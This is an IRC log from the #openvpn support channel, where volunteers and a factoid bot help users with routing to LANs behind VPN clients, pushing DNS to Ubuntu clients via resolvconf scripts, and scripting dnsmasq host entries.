01:54 -!- The_Ball [~ballen@c114-77-185-26.hillc3.qld.optusnet.com.au] has joined #openvpn
01:55 -!- duoi_2 is now known as duoi
02:02 -!- nutcase [~nutcase@unaffiliated/nutcase] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
02:04 -!- smue [smue@nostromo.smue.info] has joined #openvpn
02:05 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
02:06 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
02:18 -!- duoi_ghost [~duoi@46.21.151.107] has joined #openvpn
02:18 -!- The_Ball [~ballen@c114-77-185-26.hillc3.qld.optusnet.com.au] has quit [Ping timeout: 245 seconds]
02:18 -!- duoi_ghost [~duoi@46.21.151.107] has quit [Changing host]
02:18 -!- duoi_ghost [~duoi@unaffiliated/duoi] has joined #openvpn
02:18 -!- duoi [~duoi@unaffiliated/duoi] has quit [Disconnected by services]
02:21 -!- duoi_ghost [~duoi@unaffiliated/duoi] has quit [Client Quit]
02:25 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
02:30 -!- james41382 [~james@unaffiliated/james41382] has quit [Read error: Connection reset by peer]
02:31 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
02:38 -!- Matviy [~Matviy@108-225-189-45.lightspeed.sntcca.sbcglobal.net] has quit [Ping timeout: 265 seconds]
02:39 -!- mode/#openvpn [-o krzee] by krzee
02:40 -!- mode/#openvpn [+o krzee] by ChanServ
02:40 -!- mode/#openvpn [-q ziber!*@*] by krzee
02:48 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has joined #openvpn
02:53 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
02:58 -!- jackbrown [~se@93-44-45-114.ip95.fastwebnet.it] has quit [Quit: Sto andando via]
03:08 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
03:15 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
03:52 -!- The_Ball [~ballen@c114-77-185-26.hillc3.qld.optusnet.com.au] has joined #openvpn
04:10 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
04:20 -!- defswork [~andy@141.0.50.105] has quit [Quit: Ex-Chat]
04:23 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
04:33 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
04:49 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 246 seconds]
05:16 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:56 -!- Territoriojoven [~Tesla@unaffiliated/territoriojoven] has joined #openvpn
05:59 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:16 -!- scyld [~scyld@unaffiliated/wasyl] has quit [Quit: Wychodzi]
06:48 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:42 -!- JackWinter [~jack@vodsl-9823.vo.lu] has quit [Quit: Konversation terminated!]
07:48 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 245 seconds]
07:48 -!- JackWinter [~jack@vodsl-9823.vo.lu] has joined #openvpn
07:49 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 264 seconds]
07:54 -!- mac [~mac@unaffiliated/mac] has quit [Quit: poff]
07:57 -!- The_Ball [~ballen@c114-77-185-26.hillc3.qld.optusnet.com.au] has quit [Ping timeout: 245 seconds]
07:59 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
08:02 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
08:07 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
08:07 -!- heraclitus [~heraclitu@ip-static-94-242-252-198.as5577.net] has joined #openvpn
08:07 -!- heraclitus [~heraclitu@ip-static-94-242-252-198.as5577.net] has quit [Changing host]
08:07 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
08:10 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
08:13 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
08:29 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
08:29 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
08:36 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
08:43 -!- svparijs [~svparijs@static.15.71.76.144.clients.your-server.de] has joined #openvpn
08:43 < svparijs> Hi guys,
08:44 < svparijs> I got a question about retrieving the server ip address, in the private network using openvpn.
08:45 < svparijs> How do I get the server address, or how do I assign the server address?
08:48 <+pekster> What do you mean by assign? Are you asking how a server is configured with an address on the virtual VPN segment?
08:53 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Quit: Leaving]
08:56 -!- Territoriojoven [~Tesla@unaffiliated/territoriojoven] has left #openvpn []
09:02 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Ping timeout: 260 seconds]
09:05 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
09:07 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
09:14 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:21 -!- nick4 [~nick4@46.246.144.55.dsl.dyn.forthnet.gr] has quit [Ping timeout: 272 seconds]
09:39 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:55 -!- svparijs is now known as svparijs_afk
10:00 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has quit [Ping timeout: 246 seconds]
10:01 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
10:03 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has quit [Client Quit]
10:17 < Ziber> Am I still muted?
10:17 < Ziber> Oh, that's nice.
10:19 -!- corretico [~luis@190.241.180.58] has quit [Read error: No route to host]
10:26 -!- svparijs_afk is now known as svparijs
10:35 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Quit: Ping timeout: 221 seconds]
10:36 -!- svparijs is now known as svparijs_afk
10:36 -!- svparijs_afk is now known as svparijs
10:39 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
10:46 -!- svparijs is now known as svparijs_afk
11:05 < Ziber> I disabled NAT masquerading rules on a VPN client with a LAN behind it (10.192.150.0/24). When pinging a client in that LAN, I get no response, but tcpdump shows that the packets are getting to that machine. I'm trying to figure out where the problem lies.
11:05 < Ziber> !clientlan
11:05 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
11:05 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
11:06 <@ecrist> !goal
11:06 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
11:07 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
11:07 <+pekster> Ziber: Same problem you had before; lacking a return route and firewalls permissive of that return traffic
11:08 < Ziber> Well, you're right about the return route. I added that route a separate LAN machine and that works just fine. But the fact that the packets are getting to the first machine (which does not have a route) suggests that adding the route in my home router worked.
11:08 -!- master_o1_master [~master_of@p4FD7B1CB.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
11:09 <+pekster> huh? Do you mean you can reach a lan-side host when it has a static return-route for the VPN range via the LAN IP of your VPN server?
11:09 < Ziber> Yes.
11:09 <+pekster> Then your problem is competely with your LAN gateway system
11:10 <+pekster> It's very obvious where the problem is, and you've been told in very clear terms where it is
11:11 < Ziber> I fail to see how, due to the tcpdump evidence.
11:11 <+pekster> Then you need to spend more time learning how basic routing works before you attempt to use a high-level concept like a VPN
11:12 -!- master_of_master [~master_of@p4FD7BA86.dip0.t-ipconnect.de] has joined #openvpn
11:12 <@krzee> i told him this yesterday
11:12 <+pekster> Yes, which is why I'm not wasting more time on it today
11:12 <@krzee> to the point where i +q'ed him and told him to stop arguing
11:12 < Ziber> Is any of this going to change based on the fact that the LAN machines are bridged VMs?
11:12 <@krzee> cause he thinks his routers problem is somehow an openvpn issue
11:12 <+pekster> Nope
11:13 <@krzee> Ziber, IT IS YOUR ROUTER
11:14 <@krzee> lets see if you get that idea tomorrow
11:14 -!- mode/#openvpn [+q Ziber!*@*] by krzee
11:14 <+pekster> The !route_outside_openvpn factoid is what your problem is. If you cannot understand what that is telling you, you will be unable to use OpenVPN in your setup
11:14 <+pekster> Well, here it is for you if you'd like to try again:
11:14 <+pekster> !route_outside_openvpn
11:14 <@vpnHelper> "route_outside_openvpn" is (#1) If your server is not the default gateway for the LAN, you will need to add routes to your gateway. See ROUTES TO ADD OUTSIDE OPENVPN in !route or (#2) Here are 2 diagrams that explain how this works: http://www.secure-computing.net/wiki/index.php/Graph http://i.imgur.com/BM9r1.png
11:15 <@krzee> works when we bypass the router, doesnt work when we do not
11:18 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
11:18 < andi> Hello
11:19 < andi> Is there a possibility to have a non client-to-client setup, but one single client may connect to all other clients?
11:19 <@krzee> greetings
11:19 <@krzee> sure
11:19 <@krzee> !c2c
11:19 <@vpnHelper> "c2c" is "client-to-client" is with this option packets from 1 client to another are routed inside the server process. without it packets leave the server process, hit the kernel (firewall, routing table) and if allowed by firewall and routed back to server process, they go to the client. you use this option when you do not want to use selective firewall rules on what clients can access
11:19 <@vpnHelper> things behind other clients
11:19 <@krzee> so do not use that option, and use your firewall how you would like to
11:19 < andi> Ok, so I need to set the FORWARD rules according to my needs.
11:20 <@krzee> yep =]
11:20 < andi> Thanks. :)
11:20 <@krzee> np
11:20 < rob0> (if it's Linux, that is.)
11:20 <@krzee> safe to say it is :D
11:20 < andi> krzee is right, it is.
11:20 <@krzee> he knew ;]
11:21 <@krzee> rob0, nice dnsmasq writeup
11:21 <@krzee> also, nice topic to make a writeup on
11:21 < rob0> thanks, no one seems interested in it here for the most part :)
11:22 <@krzee> from time to time people come wishing for something half as functional
11:22 <@krzee> those people will LOVE
11:22 <+pekster> rob0: Well, keep in mind your writeup is basically what "ubuntu does anyway" except that it gives the user zero control over the process
11:22 < rob0> seems like they all want to do that resolvconf madness
11:22 -!- cambazz [~can@88.250.217.202] has joined #openvpn
11:22 <+pekster> Yea
11:22 < cambazz> hello guys
11:22 <+pekster> Oh, and for extra fail points, ubuntu runs dmsnasq _completely_ via dbus :(
11:22 <@krzee> im going to link to it in !route as well
11:22 <+pekster> (there is quite literally no config file and no CLI arguments. None at all)
11:22 <@krzee> because it is definitely icing for the !route cake
11:23 < cambazz> how would i go about using openvpn over amazon web services
11:23 <@krzee> cambazz,
11:23 <@krzee> !goal
11:23 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
11:24 < cambazz> ok, currently i am using a digital ocean cloud host in NY area to do vpn'ing from istanbul. problem is there is some latency. so
11:24 < cambazz> i want to use amazon
11:24 < cambazz> and make a setup over amazon
11:25 <+pekster> http://catb.org/~esr/faqs/smart-questions.html#goal
11:25 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
11:25 < cambazz> is it also possible to use multiple ip numbers.
11:25 <@krzee> rob0, want me to bust a quick and dirty sh script for that btw?
11:25 < rob0> What happened when you tried it?
11:25 < rob0> krzee, sh script for what?
11:25 <@krzee> rob0, i figure ill just grep -v the common-name on disconnect and  grep -v  && echo >> it on connect
11:25 <@krzee> for your dnsmasq writeup which is missing a script
11:25 < rob0> oh, dynamic DNS?
11:26 <+pekster> You really ought not to use grep when attempting to uniquely identify users by CN unless you know full well there aren't substring matches that overlap or are very careful with the syntax
11:27 <+pekster> Beware the dragons there
11:27 <@krzee> nah man you just make sure you do it right,  grep -vE "^$cn "
11:28 <@krzee> err hostname is last my bad
11:28 <@krzee> grep -vE " ${cn}$"
11:28 <+pekster> X.509 CN (anything in the full DN really) can have spaces too
11:29 < rob0> Ah, yes: "TODO: a script to automate entries into /etc/hosts ..." I forgot about that :)
11:29 <@krzee> not in his setup of using fqdn for CN
11:29 <@krzee> =]
11:29 <@krzee> (its in the walkthrough that the script goes with, which is why im using $cn)
11:29 < rob0> krzee, another option is to use a dnsmasq-controlled file which is loaded as --addn-hosts
11:29 <+pekster> Ah, then go for it
11:30 < rob0> ... I'm just not sure I'd want to munch on the system's hosts file
11:30 <+pekster> yea, that's the right way to do it (and basically what dnsmasq is doing internally anyway)
11:30 <+pekster> treat the -addn-hosts like dnsmasq does its lease-file
11:31 <+pekster> dnsmasq:lease-file::openvpn:addn-hosts
11:31 <@krzee> you talking about the 2nd hosts file thats only for dnsmasq?
11:31 < rob0> yes
11:31 <@krzee> or is that something else?
11:31 <@krzee> ahh yes
11:31 <@krzee> i agree, better there
11:31 < rob0> not sure where to put it tho
11:31 < rob0> does NOT go in /etc/dnsmasq.d/
11:32 < rob0> I think /etc/openvpn/ makes more sense
11:32 <@krzee> i agree, but its a var at the top of the script anyways
11:32 <+pekster> Mind SIGHUP if you're tackling this too
11:32 <@krzee> sighup?  i use this on dnsmasq and never hup
11:32 < rob0> oh. things get ugly ... openvpn won't have permission to HUP dnsmasq
11:32 <+pekster> ref: NOTES from dnsmasq(8)
11:33 <@krzee> or so i thought, let me look
11:33 <+pekster> A setuid "wrapper" could
11:33 < rob0> maybe a notify thing ... a
11:33 <@krzee> sudo
11:33 <+pekster> Hmm, that too if you can run some daemon too
11:33 <+pekster> 'eh??
11:33 <@krzee> just need perms to sighup dnsmasq
11:33 <+pekster> sudo sounds like the least clean solution of the 3
11:33 <@krzee> (pwless, only for that user)
11:34 <+pekster> Yea, PITA, more config in "yet another subsystem", breaks if a platform opts not to install sudo
11:34 < rob0> (I don't know how to do the notify thing, but IIUC a process can watch the file for changes, and do its thing when the file is changed.)
11:34 <@krzee> heh ya i guess i use openvpn / dnsmasq in 2 platforms without sudo
11:34 <+pekster> notify stuff is easy in sh; trap on USR1 or USR2
11:35 -!- nick4 [~nick4@188.4.211.48.dsl.dyn.forthnet.gr] has joined #openvpn
11:35 < rob0> This is why I said the nsupdate thing is cleaner. Clean, but then you get all the complexity of named.
11:35 <+pekster> trap do_exit INT; trap hup_dnsmasq USR1; while :; do sleep 1; done # TODO: author do_exit() & hup_dnsmasq()
11:35 <+pekster> There's your "monitor daemon"
11:36 < rob0> hmm, that looks easy
11:36 <+pekster> yup ;)
11:36 <+pekster> Run it as some user with access to HUP dnsmasq and probably write-out its PID somewhere openvpn's hook script knows to find it
11:36 <+pekster> Anyone who says you can't IPC across POSIX shell just isn't trying very hard :P
11:39 <+pekster> Here's a functional process that does extra "stuff" during the infinite-loop: https://github.com/QueuingKoala/wrt-nflog/blob/fb7aa93/nf-log.sh#L51
11:39 <@vpnHelper> Title: wrt-nflog/nf-log.sh at fb7aa93136c5d86a7c3e8f7010788923db1a1a1b · QueuingKoala/wrt-nflog · GitHub (at github.com)
11:45 -!- Mashirito [~sembei@unaffiliated/sembei] has joined #openvpn
11:50 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:50 < Mashirito> pekster: It's me or route from 10.8... to 192.168 ... is not applied ? http://pastebin.com/mhhenvL7 http://pastebin.com/evXXQLtW
11:55 < rob0> why two pastebins? Wouldn't you rather make it easy for us?
11:57 < Mashirito> hehehe sorry
12:01 < Mashirito> besides 2 pastebins I'm right rob0 ?
12:04 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
12:10 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
12:11 -!- Mashirito [~sembei@unaffiliated/sembei] has quit [Quit: WeeChat 0.4.3-dev]
12:11 -!- cambazz [~can@88.250.217.202] has quit [Ping timeout: 248 seconds]
12:53 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
12:57 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:01 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
13:11 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
13:13 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
13:25 -!- svparijs_afk is now known as svparijs
13:30 <+pekster> svparijs: re: PM, if you wanted to know how to set the IP on the virtual tun/tap adapter  (in a non-bridged setup that is) you can read about how --ifconfig and --server work
13:30 <+pekster> Otherwise try asking a more specific clarification question
13:30 < svparijs> Ok
13:31 < svparijs> pekster: the setup is bridged, thanks for the reply
13:39 <+pekster> Then it's "your responsibility" to take the required OS/distro-centric action to set up your addressing and coordinate the management of IPs between openvpn's --ifconfig-pool (if any) and the bridged segment
13:40 <+pekster> You might like to read !tunortap and !whybridge and verify that you're bridging for a valid reason in the first place
13:41 < svparijs> pekster: thanks I'll look it up
13:56 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
14:01 <@dazo> !whybridge
14:01 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
14:01 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
14:06 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
14:12 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
14:13 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
14:35 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Quit: Ping timeout: 221 seconds]
14:38 -!- cambazz [~can@192.241.139.124] has joined #openvpn
14:38 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
14:39 < cambazz> hello, is /etc/openvpn/server.conf the correct file to put push "dhcp-option DNS 8.8.8.8"
14:40 <@EugeneKay> "Yes."
14:40 <@EugeneKay> Assuming that is where your server configuration is located(probably), and what you want is for clients to receive that option(sounds like it)
14:41 < cambazz> yes. although i am using vanilla setup, and already using openvpn, but i needed the dns requests also to tunnel
14:41 < cambazz> however there was not any openvpn directory under /etc so i just created it and the server.conf file, and it only has that line
14:41 < cambazz> but of course it does not work. my local computer uses the same dns server, and it is ubuntu
14:45 -!- cammbazz [~can@192.241.139.124] has joined #openvpn
14:45 < cammbazz> i am sorry i falled off line. so i put this dhcp option in /etc/openvpn/server.conf
14:45 < cammbazz> and... the client still uses the local dhcp server. the client is a ubuntu
14:46 -!- cambazz [~can@192.241.139.124] has quit [Ping timeout: 252 seconds]
14:46 < cammbazz> which uses 127.0.0.1 somehow as dns server
14:46 -!- cammbazz is now known as cambazz
14:46 <+pekster> cambazz: Right, welcome to ubuntu's stupidly complex and user-inaccessible DNS config. You can read about the resolvconf stuff in our !pushdns factoid
14:47 < cambazz> oh ok, i knew it was ubuntu stupidity.
14:47 < cambazz> how do i read this factoid
14:47 <+pekster> Type the !word here
14:47 < cambazz> !pushdns
14:47 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
14:47 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
14:53 <+pekster> That factoid is a mess. brief spam to clean it up..
14:53 <+pekster> !forget pushdns *
14:53 <@vpnHelper> Joo got it.
14:53 -!- Ziber [~Liber@liber.in] has quit [Quit: Dead]
14:53 <+pekster> !learn pushdns as push "dhcp-option DNS a.b.c.d" to push dns to the client
14:53 <@vpnHelper> Joo got it.
14:53 <+pekster> !learn pushdns as For pushing DNS to a Windows client, see: !windns
14:53 <@vpnHelper> Joo got it.
14:53 <+pekster> !learn pushdns as Unix-alikes are required to process the env-var in an --up script; read about --dhcp-option in the manpage
14:53 <@vpnHelper> Joo got it.
14:53 <+pekster> !learn pushdns as For distros that use resolvconf you can try the update-resolv-conf script under the contrib/ source dir
14:53 <@vpnHelper> Joo got it.
14:53 <+pekster> !learn windns as http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns
14:53 <@vpnHelper> Joo got it.
14:54 <+pekster> !learn windns as http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit
14:54 <@vpnHelper> Joo got it.
14:54 <+pekster> !learn windns as http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
14:54 <@vpnHelper> Joo got it.
14:54 <+pekster> </spam>. I've no clue how useful the windns stuff is, so hack on if they can be improved on.
14:54 < cambazz> well
14:54 < cambazz> http://www.subvs.co.uk/openvpn_resolvconf
14:54 <@vpnHelper> Title: openvpn and resolv.conf | SubVS.co.uk (at www.subvs.co.uk)
14:54 < cambazz> i found this
14:55 < cambazz> sals create update-resolv-conf script
14:55 < cambazz> but
14:55 < cambazz> is this one server or client side
14:55 <+pekster> cambazz: https://github.com/OpenVPN/openvpn/tree/master/contrib/pull-resolv-conf
14:55 <@vpnHelper> Title: openvpn/contrib/pull-resolv-conf at master · OpenVPN/openvpn · GitHub (at github.com)
14:55 <+pekster> We don't support or generally try to care at all about (possibly outdated and/or wrong) blogs
14:56 -!- Denial [Denial@2.223.161.125] has quit []
14:56 < cambazz> ok this client.down and client.up is nice, so i suppose we put this in /etc/openvpn of the client
14:56 < cambazz> right?
14:56 <+pekster> Exactly, and the corresponding down script in --down, assuming you want the resolvconf undone afterwords
14:57 < cambazz> ok, so i just noticed that there is an update-resolv-conf in the client
14:58 < cambazz> and i am running openvpn 2.2.1
14:58 <+pekster> That doesn't change the fact that you need "some" script to work the magic with whatever distro-centric resolver you're using. The last paragraph under --dhcp-option defines how the env-var works
14:59 -!- Ziber [~Liber@Liber-2-pt.tunnel.tserv4.nyc4.ipv6.he.net] has joined #openvpn
14:59 < cambazz> what do i need to do?
15:00 < cambazz> i also dont have a config file on client
15:00 < cambazz> i just run openvpn -configfile client.ovpn
15:01 -!- Ziber [~Liber@Liber-2-pt.tunnel.tserv4.nyc4.ipv6.he.net] has quit [Client Quit]
15:01 -!- Ziber [~Liber@Liber-2-pt.tunnel.tserv4.nyc4.ipv6.he.net] has joined #openvpn
15:02 -!- Ziber [~Liber@Liber-2-pt.tunnel.tserv4.nyc4.ipv6.he.net] has quit [Client Quit]
15:02 < heraclitus> the config file is the ovpn file, cambazz
15:02 -!- Ziber [~Liber@Liber-2-pt.tunnel.tserv4.nyc4.ipv6.he.net] has joined #openvpn
15:02 -!- Ziber [~Liber@Liber-2-pt.tunnel.tserv4.nyc4.ipv6.he.net] has quit [Client Quit]
15:02 < heraclitus> look at the top lines in it, it will contain the tunnel options
15:02 -!- mode/#openvpn [+o pekster] by ChanServ
15:02 < cambazz> fy it?
15:03 < cambazz> i mean can i modify it?
15:03 < heraclitus> sure
15:03 < cambazz> because it looks like it is signed
15:04 < heraclitus> it should contain your ca.crt, client.crt, and client.key
15:04 < heraclitus> the tunnel options are in the first few lines, you can do things like increase the verbosity, with the verb variable, most other settings shouldn't be touched, though. :)
15:05 < heraclitus> unless you run the server, then the settings have to match.
15:05 < cambazz> so the first lines does not have it
15:06 < cambazz> but there is a part
15:06 < cambazz> dev tun
15:06 < cambazz> etc.
15:06 < cambazz> and i will put
15:06 < cambazz> client\n up /etc/openvpn/client.up
15:06 < cambazz> in there
15:07 < heraclitus> sure, that should be fine. you will have to probably increase script-security to 2
15:09 -!- Ziber [~Liber@Liber-2-pt.tunnel.tserv4.nyc4.ipv6.he.net] has joined #openvpn
15:09 -!- Ziber [~Liber@Liber-2-pt.tunnel.tserv4.nyc4.ipv6.he.net] has quit [Client Quit]
15:10 < cambazz> ok gonna be back
15:10 -!- cambazz [~can@192.241.139.124] has quit [Quit: leaving]
15:10 -!- mode/#openvpn [+b Ziber!*@*] by pekster
15:10 -!- mode/#openvpn [-q Ziber!*@*] by pekster
15:10 -!- mode/#openvpn [-o pekster] by ChanServ
15:16 -!- cambazz [~can@192.241.139.124] has joined #openvpn
15:16 < cambazz> hey guys. i put the /etc/openvpn/client.up and in turn it executes /etc/openvpn/client.up tun0 1500 1542 5.5.8.2 255.255.248.0 init
15:16 < cambazz> whcih returns an error
15:16 < cambazz> resolvconf: Error: Command not recognized
15:16 < cambazz> Usage: resolvconf (-d IFACE|-a IFACE|-u|--enable-updates|--disable-updates|--updates-are-enabled|--create-runtime-directories|--wipe-runtime-directories)
15:18 < heraclitus> you're not using resolveconf right ;)
15:18 < cambazz> yes it appears
15:18 < cambazz> the scripts are old maybe?
15:18 < heraclitus> look at man 8 resolvconf and man 5 resolvconf.conf
15:19 < heraclitus> possibly, go look at the up script :)
15:20 < cambazz> yes 2010
15:20 < cambazz> damn
15:20 < cambazz> for two days i could not solve this problem
15:21 < cambazz> this script is supposed to do what?
15:21 < cambazz> update resolv.conf?
15:21 < cambazz> the ubuntu 12 has a strange thing with dns. why did they change this thing?
15:22 < heraclitus> they may use another daemon
15:22 < heraclitus> I don't use ubuntu
15:23 < heraclitus> dhclient or something
15:23 <+pekster> cambazz: No, "resolvconf" is a special daemon that manages the OS resolver itself
15:24 <+pekster> This is why I said this is distro-centric: it's up to you to do "whatever your distro resolver mechanism requires" to do something useful with the env-vars
15:24 <+pekster> Now that I cleaned up the syntax, this should be a little more helpful now:
15:24 <+pekster> !pushdns
15:24 <@vpnHelper> "pushdns" is (#1) push dhcp-option DNS a.b.c.d to push dns to the client or (#2) For pushing DNS to a Windows client, see: !windns or (#3) Unix-alikes are required to process the env-var in an --up script; read about --dhcp-option in the manpage or (#4) For distros that use resolvconf you can try the update-resolv-conf script under the contrib/ source dir
15:24 <+pekster> #3 applies to you, but _not_ #4 unless you're running resolvconf
15:25 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
15:29 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 272 seconds]
15:30 < heraclitus> so you have to work with foreign_option_{n} it seems?
15:30 < heraclitus> if the dhcp option is pushed to a non-windows client
15:31 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Read error: Connection reset by peer]
15:31 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:4531:4a8a] has quit [Quit: ZNC - http://znc.sourceforge.net]
15:32 < heraclitus> would that require script-security 3?
15:32 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
15:33 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
15:34 <+pekster> heraclitus: No, 3 is only ever needed to pass un/pw in via env-vars
15:34 < heraclitus> gotcha
15:36 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
15:36 -!- svparijs [~svparijs@static.15.71.76.144.clients.your-server.de] has left #openvpn ["Leaving..."]
15:37 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has quit [Ping timeout: 246 seconds]
15:39 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 272 seconds]
15:41 -!- Chrisje [meta@2a03:f80:ed15:ed15:ed15:ed15:bc4c:4bfe] has joined #openvpn
16:09 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
16:11 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 264 seconds]
16:16 -!- FriedZombie_ [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has joined #openvpn
16:17 -!- FriedZombie [SilverNet@77-175-106-86.FTTH.ispfabriek.nl] has quit [Ping timeout: 245 seconds]
16:17 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
16:18 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Client Quit]
16:27 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
16:29 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
16:30 -!- kirin` [telex@gateway/shell/anapnea.net/x-squfxrrvimhjlcih] has quit [Ping timeout: 248 seconds]
16:31 -!- kirin` [telex@gateway/shell/anapnea.net/x-yrewwtinoboqxeaa] has joined #openvpn
16:33 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
16:35 -!- dazo is now known as dazo_afk
16:36 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
